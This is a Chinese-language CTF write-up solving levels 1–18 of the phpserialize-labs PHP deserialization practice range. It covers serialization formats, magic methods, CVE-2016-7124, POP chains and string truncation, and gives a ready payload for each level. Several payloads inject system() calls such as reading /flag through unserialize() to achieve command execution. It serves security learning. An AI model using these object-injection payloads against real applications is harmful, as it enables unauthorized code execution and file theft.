PHP 反序列化漏洞通关攻略(phpserialize-labs 1-18 WP)
本文仅用于本地靶场学习与授权测试,所有 payload 均在
phpserialize-labs靶场环境中验证。请勿将文中的反序列化、命令执行、文件读取方法用于未授权目标。
关卡目录
- LEVEL 1 类的实例化
- LEVEL 2 对象中值的传递
- LEVEL 3 对象中值的权限
- LEVEL 4 序列化初体验
- LEVEL 5 序列化的普通值规则
- LEVEL 6 序列化的权限修饰规则
- LEVEL 7 实例化与反序列化
- LEVEL 8 构造函数和析构函数以及GC机制
- LEVEL 9 构造函数的后门
- LEVEL 10 __wakeup()
- LEVEL 11 __wakeup() CVE-2016-7124
- LEVEL 12 __sleep()
- LEVEL 13 __toString()
- LEVEL 14 __invoke()
- LEVEL 15 POP 链前置
- LEVEL 16 POP 构造
- LEVEL 17 字符串逃逸基础-无中生有
- LEVEL 18 字符串逃逸基础-尾部判定
练习一下ProbiusOfficial大佬的php反序列化靶场
0x00 环境说明与写作约定
- 靶场类型:PHP 反序列化练习靶场。
- 复现方式:浏览器 + HackBar/Repeater 发送 GET 或 POST 参数。
0x01 基础速查
PHP 常见序列化格式:
| 类型 | 格式 | 示例 |
|---|---|---|
| 字符串 | s:长度:"内容"; | s:5:"hello"; |
| 整数 | i:数值; | i:1; |
| 布尔 | b:1; / b:0; | b:1; |
| 空值 | N; | N; |
| 数组 | a:数量:{键;值;...} | a:1:{s:1:"a";s:1:"b";} |
| 对象 | O:类名长度:"类名":属性数量:{属性;值;...} | O:4:"FLAG":0:{} |
常见魔术方法触发点:
| 魔术方法 | 触发时机 |
|---|---|
__construct() | 对象被 new 实例化时 |
__destruct() | 对象销毁或脚本结束时 |
__wakeup() | unserialize() 成功还原对象后 |
__sleep() | serialize() 序列化对象前 |
__toString() | 对象被当作字符串使用时 |
__invoke() | 对象被当作函数调用时 |
__get() | 读取不可访问或不存在属性时 |
LEVEL 1 类的实例化

💡 漏洞分析
- 魔术方法:
__construct()是 PHP 类的构造函数,在对象被实例化(使用new关键字创建对象)时自动调用。 - 触发逻辑:题目直接将传入的
code进行执行,只需通过new FLAG()实例化FLAG类,即可自动触发构造函数并获取 flag。
🔑 漏洞利用 (Payload)
code=$a = new FLAG();

LEVEL 2 对象中值的传递

💡 漏洞分析
- 属性操作:题目实例化了
target对象。若要输出 flag,需要通过调用该对象的get_free_flag()方法。 - 值传递关系:在调用方法前,需要将存储 flag 值的全局变量
$flag_string赋值给target对象的成员属性free_flag。
🔑 漏洞利用 (Payload)
code=$target->free_flag = $flag_string;

LEVEL 3 对象中值的权限

💡 漏洞分析
- 访问控制修饰符:
public(公共):类外部可以直接访问。protected(受保护):外部不可直接访问,通常需要通过类内部定义的 Getter 方法访问。private(私有):外部不可直接访问,且无法被子类继承,必须通过类内部定义的方法访问。
- 利用思路:对于
sub_target对象:- 公共属性可以直接读取:
$sub_target->public_flag。 - 受保护属性通过方法读取:
$sub_target->get_protected_flag()。 - 私有属性通过方法读取:
$sub_target->get_private_flag()。
拼接这三个值即可获取完整 flag。
- 公共属性可以直接读取:
🔑 漏洞利用 (Payload)
code=echo $sub_target->public_flag;
echo $sub_target->get_protected_flag();
echo $sub_target->get_private_flag();

LEVEL 4 序列化初体验

💡 漏洞分析
- 漏洞机理:当类属性全部为私有属性,且外部没有直接输出它们的方法时,无法通过直接调用的方式读取。
- 序列化导出:
serialize()函数将对象序列化为包含其所有类型、名称和属性值的字符串。即便属性被定义为private,其值在序列化后的文本中依然是可见且可被导出的。
🔑 漏洞利用 (Payload)
code=echo serialize($flag_is_here);

LEVEL 5 序列化的普通值规则

💡 漏洞分析
本关主要考查 PHP 序列化后的格式解析。PHP 序列化后的格式如下:
| 数据类型 | 格式表示 | 说明 |
|---|---|---|
| String | s:长度:"内容"; | 字符串 |
| Integer | i:数值; | 整数 |
| Boolean | b:1; / b:0; | 布尔值 (true / false) |
| Null | N; | 空值 |
| Array | a:键值对数量:{键;值;...} | 数组 |
| Object | O:类名长度:"类名":属性数量:{属性键;属性值;...} | 对象 |
根据各输入参数的判等条件,依次构造匹配的反序列化字符串:
b需为布尔值true->b:1;n需为NULL->N;s需为字符串"IWANT"->s:5:"IWANT";i需为整数1->i:1;o需为a_class实例,其属性a_value值为"FLAG"->O:7:"a_class":1:{s:7:"a_value";s:4:"FLAG";}a需为数组,且包含键值对['a' => 'Plz', 'b' => 'Give_M3']->a:2:{s:1:"a";s:3:"Plz";s:1:"b";s:7:"Give_M3";}
🔑 漏洞利用 (Payload)
o=O:7:"a_class":1:{s:7:"a_value";s:4:"FLAG";}&a=a:2:{s:1:"a";s:3:"Plz";s:1:"b";s:7:"Give_M3";}&s=s:5:"IWANT";&i=i:1;&b=b:1;&n=N;

LEVEL 6 序列化的权限修饰规则

💡 漏洞分析
不同权限的类属性在进行序列化时,其属性名在底层表示上会添加特定的前缀:
public属性:属性名保持不变。protected属性:前缀为%00*%00(即\x00*\x00包含 2 个空字节,长度计算需加上前缀字符数)。private属性:前缀为%00类名%00(即\x00ClassName\x00包含 2 个空字节,长度计算需加上类名和前缀字符数)。
题目提示了对应的结构,需要我们手工补全属性的值:
privateKEY对象的属性private_key值为"private_key"protectedKEY对象的属性protected_key值为"protected_key"
由于属性名包含 \x00 (空字节),在 URL 传输时必须使用 %00 进行编码。
🔑 漏洞利用 (Payload)
private_key=O:10:"privateKEY":1:{s:23:"%00privateKEY%00private_key";s:11:"private_key";}&protected_key=O:12:"protectedKEY":1:{s:16:"%00*%00protected_key";s:13:"protected_key";}

LEVEL 7 实例化与反序列化

💡 漏洞分析
- 漏洞点:页面接收参数
o并对其执行unserialize()操作,随后调用backdoor()方法。 - 后门分析:
FLAG类中定义了backdoor()方法,内部执行eval($this->flag_command)。 - 利用构造:我们将
FLAG类的flag_command属性设置为命令执行语句。反序列化后,当程序执行$o->backdoor()时即可触发 RCE。 - 环境差异:如果 flag 放在 PHP 文件中,直接
cat flag.php可能因为浏览器把<?php当成标签而显示异常。可以使用tac flag.php反向读取,或者在浏览器中使用Ctrl + U查看源代码。 - 长度提醒:下面 payload 中
s:23对应的是system('tac flag.php');的长度。如果换成type flag.php、cat /flag等命令,需要同步修改字符串长度。
🔑 漏洞利用 (Payload)
Linux/Docker 环境:
o=O:4:"FLAG":1:{s:12:"flag_command";s:23:"system('tac flag.php');";}
Windows/phpStudy 环境:
o=O:4:"FLAG":1:{s:12:"flag_command";s:24:"system('type flag.php');";}
如果是原题动态容器且 flag 位于根目录 /flag,可以使用:
o=O:4:"FLAG":1:{s:12:"flag_command";s:20:"system('cat /flag');";}

LEVEL 8 构造函数和析构函数以及GC机制
💡 源码分析
// 前置提示:注意顺序和次数
class RELFLAG {
public function __construct()
{
global $flag;
$flag = 0;
$flag++;
}
public function __destruct()
{
global $flag;
$flag++;
}
}
function check(){
global $flag;
if($flag > 5){
echo "HelloCTF{...}";
}else{
echo "Check Detected flag is ". $flag;
}
}
if (isset($_POST['code'])) {
eval($_POST['code']);
check();
}
💡 漏洞分析
- 生命周期魔术方法:
__construct():在新建对象时被调用。其内部包含了$flag = 0; $flag++;,也就是说每一次new操作,都会将全局变量$flag重置为1。__destruct():当对象被销毁(或脚本运行结束)时自动调用。每次销毁对象,$flag增加1。
- GC (垃圾回收机制):
- 垃圾回收会在变量不被引用时(例如在作用域外、被
unset或被覆盖)立即回收它并释放内存,这会当场触发__destruct。 - 题目要求的
check()触发条件是$flag > 5。由于check()在eval()执行完成后立即调用,如果等到脚本自然结束再触发析构函数,就已经错过了检查时机。因此必须在eval()阶段主动销毁对象,让析构函数提前执行。
- 垃圾回收会在变量不被引用时(例如在作用域外、被
- 关键顺序:
- 连续
new RELFLAG()时,每次构造函数都会把$flag重新置为1。 - 所以不能指望“连续创建匿名对象”稳定累加,因为下一次构造会重置前一次的结果。
- 稳定做法是:先创建多个有引用的对象,等最后一次构造函数执行完后,再统一
unset(),让析构函数连续累加。
- 连续
🔑 漏洞利用 (Payload)
稳定方案:先实例化,再统一销毁
下面的执行过程是:
- 依次创建
$a到$e,每次new都会把$flag重置为1。 - 最后一个对象
$e创建完成后,$flag停留在1。 - 依次
unset($a)到unset($e),触发 5 次析构,$flag从1增加到6。 eval()结束后执行check(),此时$flag > 5,条件成立。
code=$a=new RELFLAG(); $b=new RELFLAG(); $c=new RELFLAG(); $d=new RELFLAG(); $e=new RELFLAG(); unset($a); unset($b); unset($c); unset($d); unset($e);

容易踩坑:直接连续 new 匿名对象
下面这种写法表面上会不断触发构造和析构,但由于每次 new RELFLAG() 都会先把 $flag 重置为 1,所以在不同 PHP 版本和临时变量回收时机下不够稳定,不建议作为最终 payload:
code=new RELFLAG(); new RELFLAG(); new RELFLAG(); new RELFLAG(); new RELFLAG(); new RELFLAG();
如果使用序列化/反序列化嵌套触发临时对象销毁,也要以实际回显为准。写题解时建议把它作为补充思路,而不是主解:
code=unserialize(serialize(unserialize(serialize(unserialize(serialize(unserialize(serialize(new RELFLAG()))))))));

LEVEL 9 构造函数的后门

💡 漏洞分析
- 生命周期细节:反序列化过程(
unserialize())不会触发类的构造函数(__construct),但对象生命周期结束时依然会触发析构函数(__destruct)。 - 利用点:
__destruct()会调用eval($this->flag_command)。因此,我们可以像 Level 7 一样直接传入序列化数据来篡改该属性。 - 环境差异:
- Windows/phpStudy 环境下使用
type命令读取文件,例如type flag.txt。 - Linux/Docker 环境下通常使用
cat读取文件,例如cat /flag。 - 两种写法的字符串长度不同,必须同步修改
s:<长度>。
- Windows/phpStudy 环境下使用
🔑 漏洞利用 (Payload)
Windows/phpStudy 环境:
o=O:4:"FLAG":1:{s:12:"flag_command";s:24:"system('type flag.txt');";}
Linux/Docker 环境:
o=O:4:"FLAG":1:{s:12:"flag_command";s:20:"system('cat /flag');";}

LEVEL 10 __wakeup()

💡 漏洞分析
- 魔术方法:
__wakeup()会在反序列化(unserialize())成功执行之后被自动调用。 - 题目分析:此题没有对反序列化后作任何限制,且
__wakeup()会输出 flag。因此只需反序列化一个空的FLAG对象即可触发它。
🔑 漏洞利用 (Payload)
o=O:4:"FLAG":0:{}

LEVEL 11 __wakeup() CVE-2016-7124

💡 漏洞分析
- 核心漏洞 (CVE-2016-7124):在 PHP 5 < 5.6.25 和 PHP 7 < 7.0.10 的版本中,若反序列化字符串中声明的属性个数大于实际定义的属性个数,则
__wakeup()魔术方法会被绕过,而析构函数__destruct()仍会被调用。 - 绕过原因:题目在
__wakeup()中执行了$this->flag = NULL;清空了 flag。通过将声明的属性个数从1修改为2(大于实际定义的属性个数),即可绕过__wakeup()限制,防止 flag 被覆盖,并在析构函数中顺利输出 flag。 - 版本限制:这个技巧依赖旧版本 PHP 的历史漏洞。如果在新版本 PHP 中复现,
__wakeup()通常不会被这样绕过。因此发文时需要说明靶场运行的是兼容该漏洞的环境,否则读者照抄 payload 可能失败。
🔑 漏洞利用 (Payload)
o=O:4:"FLAG":2:{s:4:"flag";s:8:"FAKEFLAG";}

LEVEL 12 __sleep()

💡 漏洞分析
- 魔术方法:
__sleep()会在对象被序列化(serialize())之前被自动调用,必须返回一个包含所有需要被序列化的属性名称的数组。如果属性不在返回的数组中,该属性就不会被包含在序列化的结果中。 - 题目分析:根据代码的提示:
FLAG is $h + $e + $l + $I + $o + $c + $t + $f + $f + $l + $a + $g
我们可以依次通过 GET 参数向对应的属性传入非空的值,从而将它们拼接到一起。 - 随机返回机制:题目中的
__sleep()会从属性列表中随机选择属性,同时还会读取chance参数指定的属性。因此每次请求可能回显不同片段,需要多次请求并整理序列化结果。
🔑 漏洞利用过程
先指定 chance 参数,让页面尽量返回目标属性:
GET /Level12/index.php?chance=h
GET /Level12/index.php?chance=e
GET /Level12/index.php?chance=l
GET /Level12/index.php?chance=I
GET /Level12/index.php?chance=o
GET /Level12/index.php?chance=c
GET /Level12/index.php?chance=t
GET /Level12/index.php?chance=f
GET /Level12/index.php?chance=a
GET /Level12/index.php?chance=g
页面会输出类似下面的序列化结果:
O:9:"CHALLENGE":3:{s:1:"f";s:3:"t0_";s:1:"l";s:4:"_is_";s:17:"__sleep_function_";}
整理每个属性对应的值后,按照题目注释中的顺序拼接:
$h + $e + $l + $I + $o + $c + $t + $f + $f + $l + $a + $g
这里要注意,属性名里存在重复的 f 和 l,并且父类中的 private/protected 属性在序列化结果中会带有不可见字符前缀。实际做题时不需要手工重写完整对象,只要从页面返回的序列化文本中提取属性值并按顺序拼接即可。
🔑 最终 Flag
HelloCTF{Th3___sleep_function__is_called_before_serialization_t0_clean_up_4nd_select_variab1es}
LEVEL 13 __toString()

💡 漏洞分析
- 魔术方法:
__toString()会在对象被当作字符串对待(如使用echo,print或与字符串拼接)时自动触发。 - 构造思路:页面接收 POST 参数
o并执行其中的 PHP 片段。只要在o中将$obj进行echo输出,就会把对象当作字符串处理,从而触发__toString()并打印出 flag。
🔑 漏洞利用 (Payload)
o=echo $obj;

LEVEL 14 __invoke()

💡 漏洞分析
- 魔术方法:
__invoke()会在尝试以调用函数的方式(如$obj())来调用一个对象时被自动触发。 - 构造思路:页面接收 POST 参数
o并执行其中的 PHP 片段。将$obj当作函数调用,并传入所需的动作名称'get_flag',即可触发__invoke()并打印出 flag。
🔑 漏洞利用 (Payload)
o=$obj('get_flag');

LEVEL 15 POP 链前置

💡 漏洞分析
面向属性编程 (POP) 是在类的方法中利用对象属性的相互调用,组合出一条执行流。本题的执行路径如下:
CSDN 发布提示:如果 Mermaid 图无法正常渲染,建议将上面的链路导出为图片,或者直接保留下面的文字版调用链。
各层对象的嵌套关系:
D类的$d属性指向destnation的实例。destnation类的$cmd属性指向A的实例。A类的$a属性指向B的实例。B类的$b属性指向C的实例。C类的$c属性为我们要执行的系统命令字符串。
🔑 漏洞利用 (Payload)
o=O:1:"D":1:{s:1:"d";O:10:"destnation":1:{s:3:"cmd";O:1:"A":1:{s:1:"a";O:1:"B":1:{s:1:"b";O:1:"C":1:{s:1:"c";s:24:"system('type flag.php');";}}}}}

LEVEL 16 POP 构造

💡 漏洞分析
该关卡需要利用魔术方法的级联触发,构造出一条完整的漏洞链:
CSDN 发布提示:如果 Mermaid 图不显示,可将调用链改写成
INIT::__wakeup()->B::__toString()->A::__invoke()->include flag.php。
- 第一步:
INIT的__wakeup()会执行echo $this->name;,只要将$name设为B类的实例,就会触发B的__toString()。 - 第二步:
B的__toString()执行($this->b)();,将对象$b当作函数调用,若将$b设为A类的实例,则会触发A的__invoke()。 - 第三步:
A的__invoke()会包含$this->a。若将$a设为'flag.php',即可成功将 flag.php 包含并执行输出。
🔑 漏洞利用 (Payload)
o=O:4:"INIT":1:{s:4:"name";O:1:"B":1:{s:1:"b";O:1:"A":1:{s:1:"a";s:8:"flag.php";}}}

LEVEL 17 字符串逃逸基础-无中生有

💡 漏洞分析
- 类定义与属性动态生成:PHP 在反序列化一个对象时,如果序列化字符串中声明了该类定义中没有的属性,反序列化后,PHP 会动态为该对象添加这些原本不存在的成员属性。
- 绕过原理:
A本来是一个空类,但是我们在反序列化字符串中声明了属性helloctfcmd,反序列化后该对象便动态拥有了该属性。
🔑 漏洞利用 (Payload)
o=O:1:"A":1:{s:11:"helloctfcmd";s:8:"get_flag";}

LEVEL 18 字符串逃逸基础-尾部判定

💡 漏洞分析
- 反序列化截断原则 (尾部判定):在进行反序列化时,PHP 引擎只关心序列化声明的信息。当根据声明的信息(包括对象类型、属性个数以及对应的键值长度与值)解析到闭合的大括号
}时,反序列化解析会立即停止,大括号之后多余的任何字符都会被完全忽略。 - 构造思路:题目在服务端接收
$target和$change拼接并序列化,由于我们可以控制$change的输入,我们可以人为地在$change中加入一个},提前完成整个对象的闭合,并在后面写入我们希望覆盖或额外生成的属性结构,从而实现反序列化漏洞。
🔑 漏洞利用 (Payload)
?target=Demo&change=FLAG":1:{s:3:"key";s:8:"GET_FLAG";}

更多推荐


所有评论(0)